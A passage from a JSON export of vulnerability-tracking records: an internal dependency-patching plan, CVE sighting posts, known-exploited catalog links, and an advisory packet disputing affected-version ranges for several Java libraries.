`1.0.3` |\n| `tools/build/requirements_compiled_py39.txt` | `0.9.12` |\n| `tools/build/requirements_compiled_py39_windows.txt` | `0.9.12` |\n\nExploitability context: the `simpleeval` CVE is an expression injection / code execution issue. In practice, casbin policy rules in this codebase are stored in Postgres and written by engineers \u2014 they're not dynamically constructed from user HTTP input. So the real-world risk is low, but patching removes it from the SCC report. Pure Python, tiny library, no API changes.\n\n---\n\n### `protobuf` in `scenario_post_processor` \u2014 timeline TBD\n\n`adp/services/scenario_post_processor/requirements_compiled_py311.txt` pins `protobuf==3.20.3`, which is very old (the current line is `4.x`/`5.x`). Multiple CVEs are fixed in the `4.x` series. This is a **major version bump** with meaningful API changes \u2014 the protobuf Python API changed significantly between `3.x` and `4.x`. It needs a proper assessment of what scenario_post_processor calls in the protobuf API before committing to a version. Let us know what's realistic timeline-wise and we can scope it separately if it can't land by June 15.\n\n---\n\n## Recommended next steps (not June 15 scope)\n\nOnce the above PRs are merged, two follow-ons will surface and close the remaining CVEs:\n\n1. **`govulncheck -json ./...`** \u2014 run from the repo root in dev docker. This will give exact GHSA IDs for the remaining 6 Go module CVEs (suspected: `golang.org/x/net`, `IBM/sarama`, and potentially a newer `pgx/v5` advisory). Several of the \"remaining 6\" may already be resolved by the Go toolchain bump.\n\n2. **`pip-audit --requirement tools/build/requirements_compiled_py311.txt --format json`** \u2014 this will surface the remaining ~18 Python CVEs not named in the MB report. Likely candidates include `grpcio 1.63.2` (fix: `1.64.1+`, wide distribution across all lockfiles) and `numpy 1.24.4` in py310/py311 lockfiles (fix: `1.26.0+`).\n\n3. **Retire py38 from the build system** \u2014 this unblocks the three packages (`aiohttp`, `lxml`, `pillow`) that couldn't be fully fixed above. Likely a 1-sprint Dev Frameworks project.\n\n---\n\n*Analysis sourced from `applied3` codebase inspection of `go.mod`, `WORKSPACE`, and all `requirements_compiled_*.txt` lockfiles. Go runtime at `1.25.5`, cluster version 1.71.*\n", "creation_timestamp": "2026-06-09T19:20:47.000000Z"}, {"uuid": "9957dace-819d-4c0e-bbd0-b6bba9bc97cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22451", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moggw6sesl2x", "content": "CVE-2024-22451 - Dell Peripheral Manager Uncontrolled Search Path Element Vulnerability\nCVE ID : CVE-2024-22451\n \n Published : June 16, 2026, 5:16 p.m. | 15\u00a0minutes ago\n \n Description : Dell Peripheral Manager, versions from 1.5.1 to 1.7.2, contain an uncontrolled search path ...", "creation_timestamp": "2026-06-16T18:36:23.944042Z"}, {"uuid": "fde3cb3d-3988-4676-be30-33fe6646aedc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22853", "type": "published-proof-of-concept", "source": "https://t.me/pentestnotes/53", "content": "CVE-2024-22853\n\nNone\n\nGithub link:\nhttps://github.com/FaLLenSKiLL1/CVE-2024-22853", "creation_timestamp": "2026-08-06T00:01:01.621635Z"}, {"uuid": "f19dee49-a86e-4893-bcff-2a55e900110c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a36dfe73-7461-47ea-96c9-d61c8b4c5eb0", "content": "", "creation_timestamp": "2026-06-19T12:46:17.695100Z"}, {"uuid": "a7867d2c-d81b-4af2-86ba-e509c054d641", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22319", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/078b726c-7ae5-41cb-bc3d-79064fefa6d1", "content": "", "creation_timestamp": "2026-06-19T12:46:06.993617Z"}, {"uuid": "7c25eda8-0584-405d-b66e-866597b681a3", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22319", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/185a9274-271b-4fa5-be44-59137020a8ec", "content": "", "creation_timestamp": "2026-06-23T14:03:29.689093Z"}, {"uuid": "9da93555-dcfd-4b1f-8445-db5a4f341b37", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f5e83461-4699-4b1e-ac8c-eeb172801b30", "content": "", "creation_timestamp": "2026-06-23T14:04:25.339655Z"}, {"uuid": "8a73a828-a828-4372-9530-cba2a46c323c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22320", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/2aee42b3-5002-49fa-a025-418dcf5f993c", "content": "", "creation_timestamp": "2026-06-23T14:06:10.960353Z"}, {"uuid": "3258d81d-387b-4fc4-9112-df9322de8979", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22927", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0f6bbcdf-2aeb-4806-980f-fd635fdab0c6", "content": "", "creation_timestamp": "2026-06-23T14:06:11.018972Z"}, {"uuid": "db8f143e-0f0d-4ce5-9aa2-972ce2860525", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22768", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f5feac6e-3a03-4bf9-9bf1-c964cb1a0386", "content": "", "creation_timestamp": "2026-06-23T14:06:11.441249Z"}, {"uuid": "1478d98d-28d7-4227-b024-8d5f81c10f16", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22729", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/adbf6d40-dce4-42e0-a03b-1958764073b4", "content": "", "creation_timestamp": "2026-06-23T14:06:11.283150Z"}, {"uuid": "aa51fe50-21bb-4683-9742-66888175b8c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-22257", "type": "seen", "source": "https://gist.github.com/hypergalois/e7077b83b2dbb66313dd9cc387d14c0c", "content": "# Affected-Version External Validation Bundle\n\nThis is the current advisory-owner publication packet.\n\n## Summary\n\n- source queue rows: `33`\n- publication-eligible queue rows: `9`\n- non-publication queue rows retained internally: `24`\n- publication units: `9`\n- GitHub issue units: `5`\n- manual route units: `4`\n- zip SHA-256: `d418fc3b820414447687442551c613c78fec5ef080c3fa9440c354b0957faedd`\n\n## Publication Units\n\n| Candidate | Target | Route | Priority |\n|---|---|---|---|\n| `CVE-2018-19360` | `GHSA` | `https://github.com/github/advisory-database` | `P0` |\n| `CVE-2018-19360` | `NVD` | `https://nvd.nist.gov/vuln` | `P0` |\n| `CVE-2019-10219` | `GHSA` | `https://github.com/github/advisory-database` | `P0` |\n| `CVE-2020-24616` | `GHSA` | `https://github.com/github/advisory-database` | `P0` |\n| `CVE-2020-24616` | `NVD` | `https://nvd.nist.gov/vuln` | `P0` |\n| `CVE-2024-22257` | `NVD` | `https://nvd.nist.gov/vuln` | `P0` |\n| `CVE-2024-22257` | `CVE` | `https://www.cve.org/ResourcesSupport/ReportRequest` | `P0` |\n| `CVE-2026-40180` | `GHSA` | `https://github.com/github/advisory-database` | `P1` |\n| `CVE-2026-40180` | `OSV` | `https://github.com/google/osv.dev` | `P1` |\n\n## Payloads\n\n### CVE-2018-19360 / GHSA\n\n- route: `https://github.com/github/advisory-database`\n- payload SHA-256: `8272a04cb4c4fe332d317d5cba26f51a5d9a7aa38b7525e8a8c4b706e743a007`\n\n# CVE-2018-19360: executable affected-version evidence for GHSA\n\n## Requested Check\n\nPlease review the executable affected-version evidence below and decide whether the affected-version data or package namespace should be updated or explicitly documented.\n\n## Grouped Route\n\n- candidate: `CVE-2018-19360`\n- route URL: `https://github.com/github/advisory-database`\n- targets: `GHSA`\n- route kinds: `claim-source`\n- priority: `P0`\n- grouped queue rows: `1`\n- P0 rows in group: `1`\n\n## Evidence Summary\n\n- projection-loss versions: `3`\n- source-disagreement versions: `0`\n- report paths: `external_validation_reports/CVE-2018-19360_external_validation_report.md`\n\n## Target-Specific Packets\n\n| Target | Route kind | Priority | Reason | Body | SHA-256 |\n|---|---|---|---|---|---|\n| `GHSA` | `claim-source` | `P0` | claim-source projection excludes witness-vulnerable versions | `external_validation_submissions/CVE-2018-19360__GHSA.md` | `7e442e4f016bec5701d06bb184eb47cd1379d288ef80d23e6b4cb74d35af2ba8` |\n\n## Reproduction\n\n```sh\nmake cve-2018-19360\nmake interval-certificates topology-theorem order-sensitivity version-dags\nmake case-certificates verify-certificates validate-artifact\n```\n\n## Evidence Details\n\nOnly the maintainer-facing certificate sections are included here. Tool-level matrices remain in the research artifact and are not part of this advisory-owner request.\n\n### Packet: GHSA / claim-source\n\n- target-specific body SHA-256: `7e442e4f016bec5701d06bb184eb47cd1379d288ef80d23e6b4cb74d35af2ba8`\n- target-specific report: `external_validation_reports/CVE-2018-19360_external_validation_report.md`\n\n## Executable Certificate\n\n- candidate: `CVE-2018-19360`\n- bitstring: `1111101010`\n- minimum interval cover: `3`\n- V-S-V witnesses: `2`\n- zero-error single intervals: `0`\n- full-recall false-positive lower bound: `2`\n- zero-false-positive false-negative lower bound: `2`\n## Projection-Loss Coordinates\n\n- `com.fasterxml.jackson.core:jackson-databind:2.7.0-rc1`\n  - version: `2.7.0-rc1`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n- `com.fasterxml.jackson.core:jackson-databind:2.7.0-rc2`\n  - version: `2.7.0-rc2`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n- `com.fasterxml.jackson.core:jackson-databind:2.7.0-rc3`\n  - version: `2.7.0-rc3`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n## Source Disagreements\n\n- none recorded for this case\n\n### CVE-2018-19360 / NVD\n\n- route: `https://nvd.nist.gov/vuln`\n- payload SHA-256: `174c0431cd676c8fe0df96c362bfe4e7c2d0d73b486411ad39da49cd03b6073c`\n\n# CVE-2018-19360: executable affected-version evidence for NVD\n\n## Requested Check\n\nPlease review the executable affected-version evidence below and decide whether the affected-version data or package namespace should be updated or explicitly documented.\n\n## Grouped Route\n\n- candidate: `CVE-2018-19360`\n- route URL: `https://nvd.nist.gov/vuln`\n- targets: `NVD`\n- route kinds: `claim-source`\n- priority: `P0`\n- grouped queue rows: `1`\n- P0 rows in group: `1`\n\n## Evidence Summary\n\n- projection-loss versions: `3`\n- source-disagreement versions: `0`\n- report paths: `external_validation_reports/CVE-2018-19360_external_validation_report.md`\n\n## Target-Specific Packets\n\n| Target | Route kind | Priority | Reason | Body | SHA-256 |\n|---|---|---|---|---|---|\n| `NVD` | `claim-source` | `P0` | claim-source projection excludes witness-vulnerable versions | `external_validation_submissions/CVE-2018-19360__NVD.md` | `20595e055968d39065c456d63d5d502d243d1753b5648c2e009a09d4ec9c465b` |\n\n## Reproduction\n\n```sh\nmake cve-2018-19360\nmake interval-certificates topology-theorem order-sensitivity version-dags\nmake case-certificates verify-certificates validate-artifact\n```\n\n## Evidence Details\n\nOnly the maintainer-facing certificate sections are included here. Tool-level matrices remain in the research artifact and are not part of this advisory-owner request.\n\n### Packet: NVD / claim-source\n\n- target-specific body SHA-256: `20595e055968d39065c456d63d5d502d243d1753b5648c2e009a09d4ec9c465b`\n- target-specific report: `external_validation_reports/CVE-2018-19360_external_validation_report.md`\n\n## Executable Certificate\n\n- candidate: `CVE-2018-19360`\n- bitstring: `1111101010`\n- minimum interval cover: `3`\n- V-S-V witnesses: `2`\n- zero-error single intervals: `0`\n- full-recall false-positive lower bound: `2`\n- zero-false-positive false-negative lower bound: `2`\n## Projection-Loss Coordinates\n\n- `com.fasterxml.jackson.core:jackson-databind:2.7.0-rc1`\n  - version: `2.7.0-rc1`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n- `com.fasterxml.jackson.core:jackson-databind:2.7.0-rc2`\n  - version: `2.7.0-rc2`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n- `com.fasterxml.jackson.core:jackson-databind:2.7.0-rc3`\n  - version: `2.7.0-rc3`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n## Source Disagreements\n\n- none recorded for this case\n\n### CVE-2019-10219 / GHSA\n\n- route: `https://github.com/github/advisory-database`\n- payload SHA-256: `72a79b62a61b2d0424460a5ee2a222650a0ed48fae1b859fcad1af61ff5b703f`\n\n# CVE-2019-10219: executable affected-version evidence for GHSA\n\n## Requested Check\n\nPlease review the executable affected-version evidence below and decide whether the affected-version data or package namespace should be updated or explicitly documented.\n\n## Grouped Route\n\n- candidate: `CVE-2019-10219`\n- route URL: `https://github.com/github/advisory-database`\n- targets: `GHSA`\n- route kinds: `claim-source`\n- priority: `P0`\n- grouped queue rows: `1`\n- P0 rows in group: `1`\n\n## Evidence Summary\n\n- projection-loss versions: `6`\n- source-disagreement versions: `7`\n- report paths: `external_validation_reports/CVE-2019-10219_external_validation_report.md`\n\n## Target-Specific Packets\n\n| Target | Route kind | Priority | Reason | Body | SHA-256 |\n|---|---|---|---|---|---|\n| `GHSA` | `claim-source` | `P0` | claim-source projection excludes witness-vulnerable versions | `external_validation_submissions/CVE-2019-10219__GHSA.md` | `9d0c749fe586c86095bd1bd83e828eca5b71d7c160843ad653fad8e28d645090` |\n\n## Reproduction\n\n```sh\nmake cve-2019-10219\nmake interval-certificates topology-theorem order-sensitivity version-dags\nmake case-certificates verify-certificates validate-artifact\n```\n\n## Evidence Details\n\nOnly the maintainer-facing certificate sections are included here. Tool-level matrices remain in the research artifact and are not part of this advisory-owner request.\n\n### Packet: GHSA / claim-source\n\n- target-specific body SHA-256: `9d0c749fe586c86095bd1bd83e828eca5b71d7c160843ad653fad8e28d645090`\n- target-specific report: `external_validation_reports/CVE-2019-10219_external_validation_report.md`\n\n## Executable Certificate\n\n- candidate: `CVE-2019-10219`\n- bitstring: `011111111001100`\n- minimum interval cover: `2`\n- V-S-V witnesses: `1`\n- zero-error single intervals: `0`\n- full-recall false-positive lower bound: `2`\n- zero-false-positive false-negative lower bound: `2`\n## Projection-Loss Coordinates\n\n- `org.hibernate:hibernate-validator:5.1.3.Final`\n  - version: `5.1.3.Final`\n  - claim projection decisions: `GHSA:namespace_missing`\n  - excluding sources: `GHSA`\n  - detail: GHSA: published version family is older than every GHSA lower-bound for this Maven coordinate\n- `org.hibernate:hibernate-validator:5.2.5.Final`\n  - version: `5.2.5.Final`\n  - claim projection decisions: `GHSA:namespace_missing`\n  - excluding sources: `GHSA`\n  - detail: GHSA: published version family is older than every GHSA lower-bound for this Maven coordinate\n- `org.hibernate:hibernate-validator:5.3.6.Final`\n  - version: `5.3.6.Final`\n  - claim projection decisions: `GHSA:namespace_missing`\n  - excluding sources: `GHSA`\n  - detail: GHSA: published version family is older than every GHSA lower-bound for this Maven coordinate\n- `org.hibernate:hibernate-validator:5.4.2.Final`\n  - version: `5.4.2.Final`\n  - claim projection decisions: `GHSA:namespace_missing`\n  - excluding sources: `GHSA`\n  - detail: GHSA: published version family is older than every GHSA lower-bound for this Maven coordinate\n- `org.hibernate:hibernate-validator:5.4.3.Final`\n  - version: `5.4.3.Final`\n  - claim projection decisions: `GHSA:namespace_missing`\n  - excluding sources: `GHSA`\n  - detail: GHSA: published version family is older than every GHSA lower-bound for this Maven coordinate\n- `org.hibernate.validator:hibernate-validator:6.1.0.Alpha6`\n  - version: `6.1.0.Alpha6`\n  - claim projection decisions: `GHSA:fixed`\n  - excluding sources: `GHSA`\n  - detail: GHSA: version equals GHSA first_patched_version\n## Source Disagreements\n\n- versions with source disagreement: `4.3.2.Final, 5.1.3.Final, 5.2.5.Final, 5.3.6.Final, 5.4.2.Final, 5.4.3.Final, 6.1.0.Alpha6`\n\n### CVE-2020-24616 / GHSA\n\n- route: `https://github.com/github/advisory-database`\n- payload SHA-256: `5f870288db037a32053feb076e5744ba384991db9a10aa8ec0a56f03b17e0aee`\n\n# CVE-2020-24616: executable affected-version evidence for GHSA\n\n## Requested Check\n\nPlease review the executable affected-version evidence below and decide whether the affected-version data or package namespace should be updated or explicitly documented.\n\n## Grouped Route\n\n- candidate: `CVE-2020-24616`\n- route URL: `https://github.com/github/advisory-database`\n- targets: `GHSA`\n- route kinds: `claim-source`\n- priority: `P0`\n- grouped queue rows: `1`\n- P0 rows in group: `1`\n\n## Evidence Summary\n\n- projection-loss versions: `4`\n- source-disagreement versions: `0`\n- report paths: `external_validation_reports/CVE-2020-24616_external_validation_report.md`\n\n## Target-Specific Packets\n\n| Target | Route kind | Priority | Reason | Body | SHA-256 |\n|---|---|---|---|---|---|\n| `GHSA` | `claim-source` | `P0` | claim-source projection excludes witness-vulnerable versions | `external_validation_submissions/CVE-2020-24616__GHSA.md` | `ccb663cab76d7ace2261a5a03691f902a2410c6cc13666fc56859371ea854cc4` |\n\n## Reproduction\n\n```sh\nmake cve-2020-24616\nmake interval-certificates topology-theorem order-sensitivity version-dags\nmake case-certificates verify-certificates validate-artifact\n```\n\n## Evidence Details\n\nOnly the maintainer-facing certificate sections are included here. Tool-level matrices remain in the research artifact and are not part of this advisory-owner request.\n\n### Packet: GHSA / claim-source\n\n- target-specific body SHA-256: `ccb663cab76d7ace2261a5a03691f902a2410c6cc13666fc56859371ea854cc4`\n- target-specific report: `external_validation_reports/CVE-2020-24616_external_validation_report.md`\n\n## Executable Certificate\n\n- candidate: `CVE-2020-24616`\n- bitstring: `10110110`\n- minimum interval cover: `3`\n- V-S-V witnesses: `2`\n- zero-error single intervals: `0`\n- full-recall false-positive lower bound: `2`\n- zero-false-positive false-negative lower bound: `3`\n## Projection-Loss Coordinates\n\n- `com.fasterxml.jackson.core:jackson-databind:2.10.0`\n  - version: `2.10.0`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n- `com.fasterxml.jackson.core:jackson-databind:2.10.5`\n  - version: `2.10.5`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n- `com.fasterxml.jackson.core:jackson-databind:2.11.0`\n  - version: `2.11.0`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n- `com.fasterxml.jackson.core:jackson-databind:2.11.2`\n  - version: `2.11.2`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n## Source Disagreements\n\n- none recorded for this case\n\n### CVE-2020-24616 / NVD\n\n- route: `https://nvd.nist.gov/vuln`\n- payload SHA-256: `9101ea70bf77bbca5ac9128afeef2d86cfd5cabbe894846dc1d11a0ba6937843`\n\n# CVE-2020-24616: executable affected-version evidence for NVD\n\n## Requested Check\n\nPlease review the executable affected-version evidence below and decide whether the affected-version data or package namespace should be updated or explicitly documented.\n\n## Grouped Route\n\n- candidate: `CVE-2020-24616`\n- route URL: `https://nvd.nist.gov/vuln`\n- targets: `NVD`\n- route kinds: `claim-source`\n- priority: `P0`\n- grouped queue rows: `1`\n- P0 rows in group: `1`\n\n## Evidence Summary\n\n- projection-loss versions: `4`\n- source-disagreement versions: `0`\n- report paths: `external_validation_reports/CVE-2020-24616_external_validation_report.md`\n\n## Target-Specific Packets\n\n| Target | Route kind | Priority | Reason | Body | SHA-256 |\n|---|---|---|---|---|---|\n| `NVD` | `claim-source` | `P0` | claim-source projection excludes witness-vulnerable versions | `external_validation_submissions/CVE-2020-24616__NVD.md` | `84164e37953507501f9c9996e9abec7d0a84e757cc3f385e7ab1e9c75befa465` |\n\n## Reproduction\n\n```sh\nmake cve-2020-24616\nmake interval-certificates topology-theorem order-sensitivity version-dags\nmake case-certificates verify-certificates validate-artifact\n```\n\n## Evidence Details\n\nOnly the maintainer-facing certificate sections are included here. Tool-level matrices remain in the research artifact and are not part of this advisory-owner request.\n\n### Packet: NVD / claim-source\n\n- target-specific body SHA-256: `84164e37953507501f9c9996e9abec7d0a84e757cc3f385e7ab1e9c75befa465`\n- target-specific report: `external_validation_reports/CVE-2020-24616_external_validation_report.md`\n\n## Executable Certificate\n\n- candidate: `CVE-2020-24616`\n- bitstring: `10110110`\n- minimum interval cover: `3`\n- V-S-V witnesses: `2`\n- zero-error single intervals: `0`\n- full-recall false-positive lower bound: `2`\n- zero-false-positive false-negative lower bound: `3`\n## Projection-Loss Coordinates\n\n- `com.fasterxml.jackson.core:jackson-databind:2.10.0`\n  - version: `2.10.0`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n- `com.fasterxml.jackson.core:jackson-databind:2.10.5`\n  - version: `2.10.5`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n- `com.fasterxml.jackson.core:jackson-databind:2.11.0`\n  - version: `2.11.0`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n- `com.fasterxml.jackson.core:jackson-databind:2.11.2`\n  - version: `2.11.2`\n  - claim projection decisions: `GHSA:range_excluded;NVD:range_excluded`\n  - excluding sources: `GHSA;NVD`\n  - detail: GHSA: version is outside all GHSA vulnerable ranges for the tested coordinate; NVD: version is outside all vulnerable NVD CPE matches\n## Source Disagreements\n\n- none recorded for this case\n\n### CVE-2024-22257 / NVD\n\n- route: `https://nvd.nist.gov/vuln`\n- payload SHA-256: `d22323305a6e20b05fa22a78f90be1eb3fa1e6a26c46e4a735492fabcadcddf9`\n\n# CVE-2024-22257: executable affected-version evidence for NVD\n\n## Requested Check\n\nPlease review the executable affected-version evidence below and decide whether the affected-version data or package namespace should be updated or explicitly documented.\n\n## Grouped Route\n\n- candidate: `CVE-2024-22257`\n- route URL: `https://nvd.nist.gov/vuln`\n- targets: `NVD`\n- route kinds: `claim-source`\n- priority: `P0`\n- grouped queue rows: `1`\n- P0 rows in group: `1`\n\n## Evidence Summary\n\n- projection-loss versions: `4`\n- source-disagreement versions: `8`\n- report paths: `external_validation_reports/CVE-2024-22257_external_validation_report.md`\n\n## Target-Specific Packets\n\n| Target | Route kind | Priority | Reason | Body | SHA-256 |\n|---|---|---|---|---|---|\n| `NVD` | `claim-source` | `P0` | claim-source projection excludes witness-vulnerable versions | `external_validation_submissions/CVE-2024-22257__NVD.md` | `7e8251bd847fae2084d77a34174d311bfc6a08d98eda6108a902d773e1f0931c` |\n\n## Reproduction\n\n```sh\nmake cve-2024-22257\nmake interval-certificates topology-theorem order-sensitivity version-dags\nmake case-certificates verify-certificates validate-artifact\n```\n\n## Evidence Details\n\nOnly the maintainer-facing certificate sections are included here. Tool-level matrices remain in the research artifact and are not part of this advisory-owner request.\n\n### Packet: NVD / claim-source\n\n- target-specific body SHA-256: `7e8251bd847fae2084d77a34174d311bfc6a08d98eda6108a902d773e1f0931c`\n- target-specific report: `external_validation_reports/CVE-2024-22257_external_validation_report.md`\n\n## Executable Certificate\n\n- candidate: `CVE-2024-22257`\n- bitstring: `111110101010`\n- minimum interval cover: `4`\n- V-S-V witnesses: `3`\n- zero-error single intervals: `0`\n- full-recall false-positive lower bound: `3`\n- zero-false-positive false-negative lower bound: `3`\n## Projection-Loss Coordinates\n\n- `org.springframework.security:spring-security-core:2.0.8.RELEASE`\n  - version: `2.0.8.RELEASE`\n  - claim projection decisions: `CVE:namespace_missing;NVD:package_excluded`\n  - excluding sources: `CVE;NVD`\n  - detail: CVE: published version is older than every CVE affected version expression; NVD: no NVD CPE row matched the configured product\n- `org.springframework.security:spring-security-core:3.0.0.RELEASE`\n  - version: `3.0.0.RELEASE`\n  - claim projection decisions: `CVE:namespace_missing;NVD:package_excluded`\n  - excluding sources: `CVE;NVD`\n  - detail: CVE: published version is older than every CVE affected version expression; NVD: no NVD CPE row matched the configured product\n- `org.springframework.security:spring-security-core:4.2.20.RELEASE`\n  - version: `4.2.20.RELEASE`\n  - claim projection decisions: `CVE:namespace_missing;NVD:package_excluded`\n  - excluding sources: `CVE;NVD`\n  - detail: CVE: published version is older than every CVE affected version expression; NVD: no NVD CPE row matched the configured product\n- `org.springframework.security:spring-security-core:5.6.12`\n  - version: `5.6.12`\n  - claim projection decisions: `CVE:namespace_missing;NVD:package_excluded`\n  - excluding sources: `CVE;NVD`\n  - detail: CVE: published version is older than every CVE affected version expression; NVD: no NVD CPE row matched the configured product\n## Source Disagreements\n\n- versions with source disagreement: `2.0.8.RELEASE, 3.0.0.RELEASE, 4.2.20.RELEASE, 5.6.12, 5.7.11, 5.8.10, 6.1.7, 6.2.2`\n\n### CVE-2024-22257 / CVE\n\n- route: `https://www.cve.org/ResourcesSupport/ReportRequest`\n- payload SHA-256: `2303f71a4c64a251d0029bf3203781a7ba3b9cc571440df744f6add4eda1add4`\n\n# CVE-2024-22257: executable affected-version evidence for CVE\n\n## Requested Check\n\nPlease review the executable affected-version evidence below and decide whether the affected-version data or package namespace should be updated or explicitly documented.\n\n## Grouped Route\n\n- candidate: `CVE-2024-22257`\n- route URL: `https://www.cve.org/ResourcesSupport/ReportRequest`\n- targets: `CVE`\n- route kinds: `claim-source`\n- priority: `P0`\n- grouped queue rows: `1`\n- P0 rows in group: `1`\n\n## Evidence Summary\n\n- projection-loss versions: `4`\n- source-disagreement versions: `8`\n- report paths: `external_validation_reports/CVE-2024-22257_external_validation_report.md`\n\n## Target-Specific Packets\n\n| Target | Route kind | Priority | Reason | Body | SHA-256 |\n|---|---|---|---|---|---|\n| `CVE` | `claim-source` | `P0` | claim-source projection excludes witness-vulnerable versions | `external_validation_submissions/CVE-2024-22257__CVE.md` | `74ab80e11cc1ddb0019f9289a3766608e93b8386b5fb1d9eeeb84a72ac7d7d3b` |\n\n## Reproduction\n\n```sh\nmake cve-2024-22257\nmake interval-certificates topology-theorem order-sensitivity version-dags\nmake case-certificates verify-certificates validate-artifact\n```\n\n## Evidence Details\n\nOnly the maintainer-facing certificate sections are included here. Tool-level matrices remain in the research artifact and are not part of this advisory-owner request.\n\n### Packet: CVE / claim-source\n\n- target-specific body SHA-256: `74ab80e11cc1ddb0019f9289a3766608e93b8386b5fb1d9eeeb84a72ac7d7d3b`\n- target-specific report: `external_validation_reports/CVE-2024-22257_external_validation_report.md`\n\n## Executable Certificate\n\n- candidate: `CVE-2024-22257`\n- bitstring: `111110101010`\n- minimum interval cover: `4`\n- V-S-V witnesses: `3`\n- zero-error single intervals: `0`\n- full-recall false-positive lower bound: `3`\n- zero-false-positive false-negative lower bound: `3`\n## Projection-Loss Coordinates\n\n- `org.springframework.security:spring-security-core:2.0.8.RELEASE`\n  - version: `2.0.8.RELEASE`\n  - claim projection decisions: `CVE:namespace_missing;NVD:package_excluded`\n  - excluding sources: `CVE;NVD`\n  - detail: CVE: published version is older than every CVE affected version expression; NVD: no NVD CPE row matched the configured product\n- `org.springframework.security:spring-security-core:3.0.0.RELEASE`\n  - version: 